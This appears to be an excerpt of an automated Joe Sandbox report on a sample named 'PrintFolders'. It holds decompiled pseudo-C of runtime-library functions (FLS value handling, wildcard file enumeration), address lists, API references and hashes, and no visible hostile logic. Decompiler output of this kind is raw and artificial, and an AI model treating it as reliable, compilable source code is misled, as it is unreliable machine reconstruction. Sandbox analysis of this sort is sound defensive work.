                                                          • API String ID: 3213747228-2890760514
                                                          • Opcode ID: ea010ae931ad1b145e5fd3dfd9d8e6290a85c3b5d9bd79e2341eb9072933dd63
                                                          • Instruction ID: 45e9e1605b069a012dfbc5f54e827baf5efa537bc91593008a961953a6f8b556
                                                          • Opcode Fuzzy Hash: ea010ae931ad1b145e5fd3dfd9d8e6290a85c3b5d9bd79e2341eb9072933dd63
                                                          • Instruction Fuzzy Hash: 01B13671A002559FDB11CF68C881BEFBBA5EF55344F2541BBE854AB342D2388D8BC768
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E00411DA4(void* __ecx) {
                                                          				void* _t4;
                                                          				void* _t8;
                                                          				void* _t11;
                                                          				void* _t13;
                                                          				void* _t14;
                                                          				void* _t18;
                                                          				void* _t23;
                                                          				long _t24;
                                                          				void* _t27;
                                                          
                                                          				_t13 = __ecx;
                                                          				if( *0x43d080 != 0xffffffff) {
                                                          					_t24 = GetLastError();
                                                          					_t11 = E004130D0(_t13, __eflags,  *0x43d080);
                                                          					_t14 = _t23;
                                                          					__eflags = _t11 - 0xffffffff;
                                                          					if(_t11 == 0xffffffff) {
                                                          						L5:
                                                          						_t11 = 0;
                                                          					} else {
                                                          						__eflags = _t11;
                                                          						if(__eflags == 0) {
                                                          							_t4 = E0041310B(_t14, __eflags,  *0x43d080, 0xffffffff);
                                                          							__eflags = _t4;
                                                          							if(_t4 != 0) {
                                                          								_push(0x28);
                                                          								_t27 = E0041949E();
                                                          								_t18 = 1;
                                                          								__eflags = _t27;
                                                          								if(__eflags == 0) {
                                                          									L8:
                                                          									_t11 = 0;
                                                          									E0041310B(_t18, __eflags,  *0x43d080, 0);
                                                          								} else {
                                                          									_t8 = E0041310B(_t18, __eflags,  *0x43d080, _t27);
                                                          									_pop(_t18);
                                                          									__eflags = _t8;
                                                          									if(__eflags != 0) {
                                                          										_t11 = _t27;
                                                          										_t27 = 0;
                                                          										__eflags = 0;
                                                          									} else {
                                                          										goto L8;
                                                          									}
                                                          								}
                                                          								E00415F78(_t27);
                                                          							} else {
                                                          								goto L5;
                                                          							}
                                                          						}
                                                          					}
                                                          					SetLastError(_t24);
                                                          					return _t11;
                                                          				} else {
                                                          					return 0;
                                                          				}
                                                          			}












                                                          0x00411da4
                                                          0x00411dab
                                                          0x00411dbe
                                                          0x00411dc5
                                                          0x00411dc7
                                                          0x00411dc8
                                                          0x00411dcb
                                                          0x00411de4
                                                          0x00411de4
                                                          0x00411dcd
                                                          0x00411dcd
                                                          0x00411dcf
                                                          0x00411dd9
                                                          0x00411de0
                                                          0x00411de2
                                                          0x00411de9
                                                          0x00411df2
                                                          0x00411df5
                                                          0x00411df6
                                                          0x00411df8
                                                          0x00411e0c
                                                          0x00411e0c
                                                          0x00411e15
                                                          0x00411dfa
                                                          0x00411e01
                                                          0x00411e07
                                                          0x00411e08
                                                          0x00411e0a
                                                          0x00411e1e
                                                          0x00411e20
                                                          0x00411e20
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00411e0a
                                                          0x00411e23
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00411de2
                                                          0x00411dcf
                                                          0x00411e2b
                                                          0x00411e35
                                                          0x00411dad
                                                          0x00411daf
                                                          0x00411daf

                                                          APIs
                                                          • GetLastError.KERNEL32(?,?,00411D9B,0041019F,0040F7D9), ref: 00411DB2
                                                          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00411DC0
                                                          • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00411DD9
                                                          • SetLastError.KERNEL32(00000000,00411D9B,0041019F,0040F7D9), ref: 00411E2B
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorLastValue___vcrt_
                                                          • String ID:
                                                          • API String ID: 3852720340-0
                                                          • Opcode ID: 45bd82ce1dbd3c8e72b1b680d8146cb8cc17257a2e8ce5ccc350ce85e15801c5
                                                          • Instruction ID: 538d6b09e676f6115927efde8c1f2b3b6cae1e07978b049f78eb883490b1d345
                                                          • Opcode Fuzzy Hash: 45bd82ce1dbd3c8e72b1b680d8146cb8cc17257a2e8ce5ccc350ce85e15801c5
                                                          • Instruction Fuzzy Hash: 3C01F7327093216EA7292BB67C85AE72B94FB05B7AB20033FF610852F1EF595C93514C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E100048EA(void* __ecx) {
                                                          				void* _t4;
                                                          				void* _t8;
                                                          				void* _t11;
                                                          				void* _t13;
                                                          				void* _t14;
                                                          				void* _t18;
                                                          				void* _t23;
                                                          				long _t24;
                                                          				void* _t27;
                                                          
                                                          				_t13 = __ecx;
                                                          				if( *0x10017020 != 0xffffffff) {
                                                          					_t24 = GetLastError();
                                                          					_t11 = E10005AAB(_t13, __eflags,  *0x10017020);
                                                          					_t14 = _t23;
                                                          					__eflags = _t11 - 0xffffffff;
                                                          					if(_t11 == 0xffffffff) {
                                                          						L5:
                                                          						_t11 = 0;
                                                          					} else {
                                                          						__eflags = _t11;
                                                          						if(__eflags == 0) {
                                                          							_t4 = E10005AE6(_t14, __eflags,  *0x10017020, 0xffffffff);
                                                          							__eflags = _t4;
                                                          							if(_t4 != 0) {
                                                          								_push(0x28);
                                                          								_t27 = E10007782();
                                                          								_t18 = 1;
                                                          								__eflags = _t27;
                                                          								if(__eflags == 0) {
                                                          									L8:
                                                          									_t11 = 0;
                                                          									E10005AE6(_t18, __eflags,  *0x10017020, 0);
                                                          								} else {
                                                          									_t8 = E10005AE6(_t18, __eflags,  *0x10017020, _t27);
                                                          									_pop(_t18);
                                                          									__eflags = _t8;
                                                          									if(__eflags != 0) {
                                                          										_t11 = _t27;
                                                          										_t27 = 0;
                                                          										__eflags = 0;
                                                          									} else {
                                                          										goto L8;
                                                          									}
                                                          								}
                                                          								E100069B0(_t27);
                                                          							} else {
                                                          								goto L5;
                                                          							}
                                                          						}
                                                          					}
                                                          					SetLastError(_t24);
                                                          					return _t11;
                                                          				} else {
                                                          					return 0;
                                                          				}
                                                          			}












                                                          0x100048ea
                                                          0x100048f1
                                                          0x10004904
                                                          0x1000490b
                                                          0x1000490d
                                                          0x1000490e
                                                          0x10004911
                                                          0x1000492a
                                                          0x1000492a
                                                          0x10004913
                                                          0x10004913
                                                          0x10004915
                                                          0x1000491f
                                                          0x10004926
                                                          0x10004928
                                                          0x1000492f
                                                          0x10004938
                                                          0x1000493b
                                                          0x1000493c
                                                          0x1000493e
                                                          0x10004952
                                                          0x10004952
                                                          0x1000495b
                                                          0x10004940
                                                          0x10004947
                                                          0x1000494d
                                                          0x1000494e
                                                          0x10004950
                                                          0x10004964
                                                          0x10004966
                                                          0x10004966
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10004950
                                                          0x10004969
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10004928
                                                          0x10004915
                                                          0x10004971
                                                          0x1000497b
                                                          0x100048f3
                                                          0x100048f5
                                                          0x100048f5

                                                          APIs
                                                          • GetLastError.KERNEL32(00000001,?,100046F1,100038AA,100032A7,?,100034DF,?,00000001,?,?,00000001,?,10015758,0000000C,100035D8), ref: 100048F8
                                                          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10004906
                                                          • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1000491F
                                                          • SetLastError.KERNEL32(00000000,100034DF,?,00000001,?,?,00000001,?,10015758,0000000C,100035D8,?,00000001,?), ref: 10004971
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastValue___vcrt_
                                                          • String ID:
                                                          • API String ID: 3852720340-0
                                                          • Opcode ID: 7a07fe8dd6e183f70e1ed33fe8cb46bc5f72bd9116114fb4a898372d9b8b1887
                                                          • Instruction ID: aa6f2bb6e0f81693f4a69917c870ce6a712f51b8e9c958d3c9a19b96842cdbe6
                                                          • Opcode Fuzzy Hash: 7a07fe8dd6e183f70e1ed33fe8cb46bc5f72bd9116114fb4a898372d9b8b1887
                                                          • Instruction Fuzzy Hash: 5D01287760D322AEF211C7746CC960B26A5FB096F57224339F514511F9EF619C019248
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 80%
                                                          			E00423C3E(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
                                                          				intOrPtr _v0;
                                                          				signed int _v6;
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v24;
                                                          				signed int _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				signed int _v40;
                                                          				intOrPtr* _v72;
                                                          				intOrPtr* _v104;
                                                          				intOrPtr* _v108;
                                                          				intOrPtr _v112;
                                                          				signed int _v124;
                                                          				struct _WIN32_FIND_DATAW _v608;
                                                          				char _v609;
                                                          				intOrPtr* _v616;
                                                          				union _FINDEX_INFO_LEVELS _v620;
                                                          				union _FINDEX_INFO_LEVELS _v624;
                                                          				union _FINDEX_INFO_LEVELS _v628;
                                                          				signed int _v632;
                                                          				union _FINDEX_INFO_LEVELS _v636;
                                                          				union _FINDEX_INFO_LEVELS _v640;
                                                          				signed int _v644;
                                                          				signed int _v648;
                                                          				union _FINDEX_INFO_LEVELS _v652;
                                                          				union _FINDEX_INFO_LEVELS _v656;
                                                          				union _FINDEX_INFO_LEVELS _v660;
                                                          				union _FINDEX_INFO_LEVELS _v664;
                                                          				signed int _v668;
                                                          				union _FINDEX_INFO_LEVELS _v672;
                                                          				union _FINDEX_INFO_LEVELS _v676;
                                                          				intOrPtr _v724;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				intOrPtr* _t131;
                                                          				signed int _t132;
                                                          				signed int _t134;
                                                          				signed int _t139;
                                                          				signed int _t140;
                                                          				intOrPtr* _t150;
                                                          				signed int _t152;
                                                          				intOrPtr _t153;
                                                          				signed int _t157;
                                                          				signed int _t159;
                                                          				signed int _t164;
                                                          				signed int _t166;
                                                          				char _t168;
                                                          				signed char _t169;
                                                          				signed int _t175;
                                                          				union _FINDEX_INFO_LEVELS _t179;
                                                          				signed int _t185;
                                                          				union _FINDEX_INFO_LEVELS _t188;
                                                          				intOrPtr* _t196;
                                                          				signed int _t199;
                                                          				intOrPtr _t204;
                                                          				signed int _t206;
                                                          				signed int _t209;
                                                          				signed int _t211;
                                                          				signed int _t212;
                                                          				signed int _t213;
                                                          				signed int _t215;
                                                          				signed int _t217;
                                                          				signed int _t218;
                                                          				signed int* _t219;
                                                          				signed int _t222;
                                                          				void* _t225;
                                                          				union _FINDEX_INFO_LEVELS _t226;
                                                          				void* _t227;
                                                          				intOrPtr _t229;
                                                          				signed int _t232;
                                                          				signed int _t233;
                                                          				signed int _t234;
                                                          				signed int _t236;
                                                          				intOrPtr* _t239;
                                                          				signed int _t241;
                                                          				intOrPtr* _t244;
                                                          				signed int _t249;
                                                          				signed int _t255;
                                                          				signed int _t257;
                                                          				signed int _t263;
                                                          				intOrPtr* _t264;
                                                          				signed int _t272;
                                                          				signed int _t274;
                                                          				intOrPtr* _t275;
                                                          				void* _t277;
                                                          				signed int _t280;
                                                          				signed int _t283;
                                                          				signed int _t285;
                                                          				intOrPtr _t287;
                                                          				void* _t288;
                                                          				signed int* _t292;
                                                          				signed int _t293;
                                                          				signed int _t295;
                                                          				signed int _t296;
                                                          				signed int _t297;
                                                          				signed int _t299;
                                                          				void* _t300;
                                                          				void* _t301;
                                                          				signed int _t302;
                                                          				void* _t306;
                                                          				signed int _t307;
                                                          				void* _t308;
                                                          				void* _t309;
                                                          				void* _t310;
                                                          				signed int _t311;
                                                          				void* _t312;
                                                          				void* _t313;
                                                          
                                                          				_t131 = _a8;
                                                          				_t309 = _t308 - 0x28;
                                                          				_push(__esi);
                                                          				_t317 = _t131;
                                                          				if(_t131 != 0) {
                                                          					_t292 = _a4;
                                                          					_t222 = 0;
                                                          					 *_t131 = 0;
                                                          					_t283 = 0;
                                                          					_t132 =  *_t292;
                                                          					_t232 = 0;
                                                          					_v608.cAlternateFileName = 0;
                                                          					_v40 = 0;
                                                          					_v36 = 0;
                                                          					__eflags = _t132;
                                                          					if(_t132 == 0) {
                                                          						L9:
                                                          						_v8 = _t222;
                                                          						_t134 = _t232 - _t283;
                                                          						_t293 = _t283;
                                                          						_v12 = _t293;
                                                          						_t271 = (_t134 >> 2) + 1;
                                                          						_t136 = _t134 + 3 >> 2;
                                                          						__eflags = _t232 - _t293;
                                                          						_v16 = (_t134 >> 2) + 1;
                                                          						asm("sbb esi, esi");
                                                          						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
                                                          						__eflags = _t295;
                                                          						if(_t295 != 0) {
                                                          							_t213 = _t283;
                                                          							_t280 = _t222;
                                                          							do {
                                                          								_t264 =  *_t213;
                                                          								_t20 = _t264 + 1; // 0x1
                                                          								_v20 = _t20;
                                                          								do {
                                                          									_t215 =  *_t264;
                                                          									_t264 = _t264 + 1;
                                                          									__eflags = _t215;
                                                          								} while (_t215 != 0);
                                                          								_t222 = _t222 + 1 + _t264 - _v20;
                                                          								_t213 = _v12 + 4;
                                                          								_t280 = _t280 + 1;
                                                          								_v12 = _t213;
                                                          								__eflags = _t280 - _t295;
                                                          							} while (_t280 != _t295);
                                                          							_t271 = _v16;
                                                          							_v8 = _t222;
                                                          							_t222 = 0;
                                                          							__eflags = 0;
                                                          						}
                                                          						_t296 = E0041A597(_t136, _t271, _v8, 1);
                                                          						_t310 = _t309 + 0xc;
                                                          						__eflags = _t296;
                                                          						if(_t296 != 0) {
                                                          							_v12 = _t283;
                                                          							_t139 = _t296 + _v16 * 4;
                                                          							_t233 = _t139;
                                                          							_v28 = _t139;
                                                          							_t140 = _t283;
                                                          							_v16 = _t233;
                                                          							__eflags = _t140 - _v40;
                                                          							if(_t140 == _v40) {
                                                          								L24:
                                                          								_v12 = _t222;
                                                          								 *_a8 = _t296;
                                                          								_t297 = _t222;
                                                          								goto L25;
                                                          							} else {
                                                          								_t274 = _t296 - _t283;
                                                          								__eflags = _t274;
                                                          								_v32 = _t274;
                                                          								do {
                                                          									_t150 =  *_t140;
                                                          									_t275 = _t150;
                                                          									_v24 = _t150;
                                                          									_v20 = _t275 + 1;
                                                          									do {
                                                          										_t152 =  *_t275;
                                                          										_t275 = _t275 + 1;
                                                          										__eflags = _t152;
                                                          									} while (_t152 != 0);
                                                          									_t153 = _t275 - _v20 + 1;
                                                          									_push(_t153);
                                                          									_v20 = _t153;
                                                          									_t157 = E00427ECC(_t233, _v28 - _t233 + _v8, _v24);
                                                          									_t310 = _t310 + 0x10;
                                                          									__eflags = _t157;
                                                          									if(_t157 != 0) {
                                                          										_push(_t222);
                                                          										_push(_t222);
                                                          										_push(_t222);
                                                          										_push(_t222);
                                                          										_push(_t222);
                                                          										E00413544();
                                                          										asm("int3");
                                                          										_t306 = _t310;
                                                          										_push(_t233);
                                                          										_t239 = _v72;
                                                          										_t65 = _t239 + 1; // 0x1
                                                          										_t277 = _t65;
                                                          										do {
                                                          											_t159 =  *_t239;
                                                          											_t239 = _t239 + 1;
                                                          											__eflags = _t159;
                                                          										} while (_t159 != 0);
                                                          										_push(_t283);
                                                          										_t285 = _a8;
                                                          										_t241 = _t239 - _t277 + 1;
                                                          										_v12 = _t241;
                                                          										__eflags = _t241 -  !_t285;
                                                          										if(_t241 <=  !_t285) {
                                                          											_push(_t222);
                                                          											_push(_t296);
                                                          											_t68 = _t285 + 1; // 0x1
                                                          											_t225 = _t68 + _t241;
                                                          											_t300 = E0041E25B(_t225, 1);
                                                          											__eflags = _t285;
                                                          											if(_t285 == 0) {
                                                          												L40:
                                                          												_push(_v12);
                                                          												_t225 = _t225 - _t285;
                                                          												_t164 = E00427ECC(_t300 + _t285, _t225, _v0);
                                                          												_t311 = _t310 + 0x10;
                                                          												__eflags = _t164;
                                                          												if(_t164 != 0) {
                                                          													goto L45;
                                                          												} else {
                                                          													_t229 = _a12;
                                                          													_t206 = E00424171(_t229);
                                                          													_v12 = _t206;
                                                          													__eflags = _t206;
                                                          													if(_t206 == 0) {
                                                          														 *( *(_t229 + 4)) = _t300;
                                                          														_t302 = 0;
                                                          														_t77 = _t229 + 4;
                                                          														 *_t77 =  *(_t229 + 4) + 4;
                                                          														__eflags =  *_t77;
                                                          													} else {
                                                          														E0041E2B8(_t300);
                                                          														_t302 = _v12;
                                                          													}
                                                          													E0041E2B8(0);
                                                          													_t209 = _t302;
                                                          													goto L37;
                                                          												}
                                                          											} else {
                                                          												_push(_t285);
                                                          												_t211 = E00427ECC(_t300, _t225, _a4);
                                                          												_t311 = _t310 + 0x10;
                                                          												__eflags = _t211;
                                                          												if(_t211 != 0) {
                                                          													L45:
                                                          													_push(0);
                                                          													_push(0);
                                                          													_push(0);
                                                          													_push(0);
                                                          													_push(0);
                                                          													E00413544();
                                                          													asm("int3");
                                                          													_push(_t306);
                                                          													_t307 = _t311;
                                                          													_t312 = _t311 - 0x298;
                                                          													_t166 =  *0x43d054; // 0x6e36c9b5
                                                          													_v124 = _t166 ^ _t307;
                                                          													_t244 = _v108;
                                                          													_t278 = _v104;
                                                          													_push(_t225);
                                                          													_push(0);
                                                          													_t287 = _v112;
                                                          													_v724 = _t278;
                                                          													__eflags = _t244 - _t287;
                                                          													if(_t244 != _t287) {
                                                          														while(1) {
                                                          															_t204 =  *_t244;
                                                          															__eflags = _t204 - 0x2f;
                                                          															if(_t204 == 0x2f) {
                                                          																break;
                                                          															}
                                                          															__eflags = _t204 - 0x5c;
                                                          															if(_t204 != 0x5c) {
                                                          																__eflags = _t204 - 0x3a;
                                                          																if(_t204 != 0x3a) {
                                                          																	_t244 = E0042B110(_t287, _t244);
                                                          																	__eflags = _t244 - _t287;
                                                          																	if(_t244 != _t287) {
                                                          																		continue;
                                                          																	}
                                                          																}
                                                          															}
                                                          															break;
                                                          														}
                                                          														_t278 = _v616;
                                                          													}
                                                          													_t168 =  *_t244;
                                                          													_v609 = _t168;
                                                          													__eflags = _t168 - 0x3a;
                                                          													if(_t168 != 0x3a) {
                                                          														L56:
                                                          														_t226 = 0;
                                                          														__eflags = _t168 - 0x2f;
                                                          														if(__eflags == 0) {
                                                          															L59:
                                                          															_t169 = 1;
                                                          														} else {
                                                          															__eflags = _t168 - 0x5c;
                                                          															if(__eflags == 0) {
                                                          																goto L59;
                                                          															} else {
                                                          																__eflags = _t168 - 0x3a;
                                                          																_t169 = 0;
                                                          																if(__eflags == 0) {
                                                          																	goto L59;
                                                          																}
                                                          															}
                                                          														}
                                                          														_v676 = _t226;
                                                          														_v672 = _t226;
                                                          														_push(_t300);
                                                          														asm("sbb eax, eax");
                                                          														_v668 = _t226;
                                                          														_v664 = _t226;
                                                          														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
                                                          														_v660 = _t226;
                                                          														_v656 = _t226;
                                                          														_t175 = E00419D5B(_t244 - _t287 + 1, _t287,  &_v676, E00423B18(_t278, __eflags));
                                                          														_t313 = _t312 + 0xc;
                                                          														asm("sbb eax, eax");
                                                          														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
                                                          														_t301 = _t179;
                                                          														__eflags = _t301 - 0xffffffff;
                                                          														if(_t301 != 0xffffffff) {
                                                          															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
                                                          															__eflags = _t249;
                                                          															_v648 = _t249 >> 2;
                                                          															do {
                                                          																_v640 = _t226;
                                                          																_v636 = _t226;
                                                          																_v632 = _t226;
                                                          																_v628 = _t226;
                                                          																_v624 = _t226;
                                                          																_v620 = _t226;
                                                          																_t185 = E00423B6F( &(_v608.cFileName),  &_v640,  &_v609, E00423B18(_t278, __eflags));
                                                          																_t313 = _t313 + 0x10;
                                                          																asm("sbb eax, eax");
                                                          																_t188 =  !( ~_t185) & _v632;
                                                          																__eflags =  *_t188 - 0x2e;
                                                          																if( *_t188 != 0x2e) {
                                                          																	L67:
                                                          																	_push(_v616);
                                                          																	_push(_v644);
                                                          																	_push(_t287);
                                                          																	_push(_t188);
                                                          																	L33();
                                                          																	_t313 = _t313 + 0x10;
                                                          																	_v652 = _t188;
                                                          																	__eflags = _t188;
                                                          																	if(_t188 != 0) {
                                                          																		__eflags = _v620 - _t226;
                                                          																		if(_v620 != _t226) {
                                                          																			E0041E2B8(_v632);
                                                          																			_t188 = _v652;
                                                          																		}
                                                          																		_t226 = _t188;
                                                          																	} else {
                                                          																		goto L68;
                                                          																	}
                                                          																} else {
                                                          																	_t255 =  *((intOrPtr*)(_t188 + 1));
                                                          																	__eflags = _t255;
                                                          																	if(_t255 == 0) {
                                                          																		goto L68;
                                                          																	} else {
                                                          																		__eflags = _t255 - 0x2e;
                                                          																		if(_t255 != 0x2e) {
                                                          																			goto L67;
                                                          																		} else {
                                                          																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
                                                          																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
                                                          																				goto L68;
                                                          																			} else {
                                                          																				goto L67;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          																L76:
                                                          																FindClose(_t301);
                                                          																goto L77;
                                                          																L68:
                                                          																__eflags = _v620 - _t226;
                                                          																if(_v620 != _t226) {
                                                          																	E0041E2B8(_v632);
                                                          																}
                                                          																__eflags = FindNextFileW(_t301,  &_v608);
                                                          															} while (__eflags != 0);
                                                          															_t196 = _v616;
                                                          															_t257 = _v648;
                                                          															_t278 =  *_t196;
                                                          															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
                                                          															__eflags = _t257 - _t199;
                                                          															if(_t257 != _t199) {
                                                          																E004165E0(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E00423B57);
                                                          															}
                                                          															goto L76;
                                                          														} else {
                                                          															_push(_v616);
                                                          															_push(_t226);
                                                          															_push(_t226);
                                                          															_push(_t287);
                                                          															L33();
                                                          															_t226 = _t179;
                                                          														}
                                                          														L77:
                                                          														__eflags = _v656;
                                                          														_pop(_t300);
                                                          														if(_v656 != 0) {
                                                          															E0041E2B8(_v668);
                                                          														}
                                                          														_t190 = _t226;
                                                          													} else {
                                                          														_t190 = _t287 + 1;
                                                          														__eflags = _t244 - _t287 + 1;
                                                          														if(_t244 == _t287 + 1) {
                                                          															_t168 = _v609;
                                                          															goto L56;
                                                          														} else {
                                                          															_push(_t278);
                                                          															_push(0);
                                                          															_push(0);
                                                          															_push(_t287);
                                                          															L33();
                                                          														}
                                                          													}
                                                          													_pop(_t288);
                                                          													__eflags = _v16 ^ _t307;
                                                          													_pop(_t227);
                                                          													return E0040EBBF(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
                                                          												} else {
                                                          													goto L40;
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t209 = 0xc;
                                                          											L37:
                                                          											return _t209;
                                                          										}
                                                          									} else {
                                                          										goto L23;
                                                          									}
                                                          									goto L81;
                                                          									L23:
                                                          									_t212 = _v12;
                                                          									_t263 = _v16;
                                                          									 *((intOrPtr*)(_v32 + _t212)) = _t263;
                                                          									_t140 = _t212 + 4;
                                                          									_t233 = _t263 + _v20;
                                                          									_v16 = _t233;
                                                          									_v12 = _t140;
                                                          									__eflags = _t140 - _v40;
                                                          								} while (_t140 != _v40);
                                                          								goto L24;
                                                          							}
                                                          						} else {
                                                          							_t297 = _t296 | 0xffffffff;
                                                          							_v12 = _t297;
                                                          							L25:
                                                          							E0041E2B8(_t222);
                                                          							_pop(_t234);
                                                          							goto L26;
                                                          						}
                                                          					} else {
                                                          						while(1) {
                                                          							_v8 = 0x3f2a;
                                                          							_v6 = _t222;
                                                          							_t217 = E0042B0D0(_t132,  &_v8);
                                                          							_t234 =  *_t292;
                                                          							__eflags = _t217;
                                                          							if(_t217 != 0) {
                                                          								_push( &(_v608.cAlternateFileName));
                                                          								_push(_t217);
                                                          								_push(_t234);
                                                          								L46();
                                                          								_t309 = _t309 + 0xc;
                                                          								_v12 = _t217;
                                                          								_t297 = _t217;
                                                          							} else {
                                                          								_t218 =  &(_v608.cAlternateFileName);
                                                          								_push(_t218);
                                                          								_push(_t222);
                                                          								_push(_t222);
                                                          								_push(_t234);
                                                          								L33();
                                                          								_t297 = _t218;
                                                          								_t309 = _t309 + 0x10;
                                                          								_v12 = _t297;
                                                          							}
                                                          							__eflags = _t297;
                                                          							if(_t297 != 0) {
                                                          								break;
                                                          							}
                                                          							_t292 =  &(_a4[1]);
                                                          							_a4 = _t292;
                                                          							_t132 =  *_t292;
                                                          							__eflags = _t132;
                                                          							if(_t132 != 0) {
                                                          								continue;
                                                          							} else {
                                                          								_t283 = _v608.cAlternateFileName;
                                                          								_t232 = _v40;
                                                          								goto L9;
                                                          							}
                                                          							goto L81;
                                                          						}
                                                          						_t283 = _v608.cAlternateFileName;
                                                          						L26:
                                                          						_t272 = _t283;
                                                          						_v32 = _t272;
                                                          						__eflags = _v40 - _t272;
                                                          						asm("sbb ecx, ecx");
                                                          						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
                                                          						__eflags = _t236;
                                                          						_v28 = _t236;
                                                          						if(_t236 != 0) {
                                                          							_t299 = _t236;
                                                          							do {
                                                          								E0041E2B8( *_t283);
                                                          								_t222 = _t222 + 1;
                                                          								_t283 = _t283 + 4;
                                                          								__eflags = _t222 - _t299;
                                                          							} while (_t222 != _t299);
                                                          							_t283 = _v608.cAlternateFileName;
                                                          							_t297 = _v12;
                                                          						}
                                                          						E0041E2B8(_t283);
                                                          						goto L31;
                                                          					}
                                                          				} else {
                                                          					_t219 = E004135F1(_t317);
                                                          					_t297 = 0x16;
                                                          					 *_t219 = _t297;
                                                          					E00413517();
                                                          					L31:
                                                          					return _t297;
                                                          				}
                                                          				L81:
                                                          			}

















































































































                                                          0x00423c43
                                                          0x00423c46
                                                          0x00423c49
                                                          0x00423c4a
                                                          0x00423c4c
                                                          0x00423c62
                                                          0x00423c66
                                                          0x00423c69
                                                          0x00423c6b
                                                          0x00423c6d
                                                          0x00423c6f
                                                          0x00423c71
                                                          0x00423c74
                                                          0x00423c77
                                                          0x00423c7a
                                                          0x00423c7c
                                                          0x00423cdf
                                                          0x00423ce1
                                                          0x00423ce4
                                                          0x00423ce6
                                                          0x00423cea
                                                          0x00423cf3
                                                          0x00423cf4
                                                          0x00423cf7
                                                          0x00423cf9
                                                          0x00423cfc
                                                          0x00423d00
                                                          0x00423d00
                                                          0x00423d02
                                                          0x00423d04
                                                          0x00423d06
                                                          0x00423d08
                                                          0x00423d08
                                                          0x00423d0a
                                                          0x00423d0d
                                                          0x00423d10
                                                          0x00423d10
                                                          0x00423d12
                                                          0x00423d13
                                                          0x00423d13
                                                          0x00423d1e
                                                          0x00423d20
                                                          0x00423d23
                                                          0x00423d24
                                                          0x00423d27
                                                          0x00423d27
                                                          0x00423d2b
                                                          0x00423d2e
                                                          0x00423d31
                                                          0x00423d31
                                                          0x00423d31
                                                          0x00423d3e
                                                          0x00423d40
                                                          0x00423d43
                                                          0x00423d45
                                                          0x00423d5d
                                                          0x00423d60
                                                          0x00423d63
                                                          0x00423d65
                                                          0x00423d68
                                                          0x00423d6a
                                                          0x00423d6d
                                                          0x00423d70
                                                          0x00423dcd
                                                          0x00423dd0
                                                          0x00423dd3
                                                          0x00423dd5
                                                          0x00000000
                                                          0x00423d72
                                                          0x00423d74
                                                          0x00423d74
                                                          0x00423d76
                                                          0x00423d79
                                                          0x00423d79
                                                          0x00423d7b
                                                          0x00423d7d
                                                          0x00423d83
                                                          0x00423d86
                                                          0x00423d86
                                                          0x00423d88
                                                          0x00423d89
                                                          0x00423d89
                                                          0x00423d90
                                                          0x00423d93
                                                          0x00423d97
                                                          0x00423da4
                                                          0x00423da9
                                                          0x00423dac
                                                          0x00423dae
                                                          0x00423e22
                                                          0x00423e23
                                                          0x00423e24
                                                          0x00423e25
                                                          0x00423e26
                                                          0x00423e27
                                                          0x00423e2c
                                                          0x00423e30
                                                          0x00423e32
                                                          0x00423e33
                                                          0x00423e36
                                                          0x00423e36
                                                          0x00423e39
                                                          0x00423e39
                                                          0x00423e3b
                                                          0x00423e3c
                                                          0x00423e3c
                                                          0x00423e40
                                                          0x00423e41
                                                          0x00423e48
                                                          0x00423e4b
                                                          0x00423e4e
                                                          0x00423e50
                                                          0x00423e58
                                                          0x00423e59
                                                          0x00423e5a
                                                          0x00423e5d
                                                          0x00423e67
                                                          0x00423e6b
                                                          0x00423e6d
                                                          0x00423e81
                                                          0x00423e81
                                                          0x00423e84
                                                          0x00423e8e
                                                          0x00423e93
                                                          0x00423e96
                                                          0x00423e98
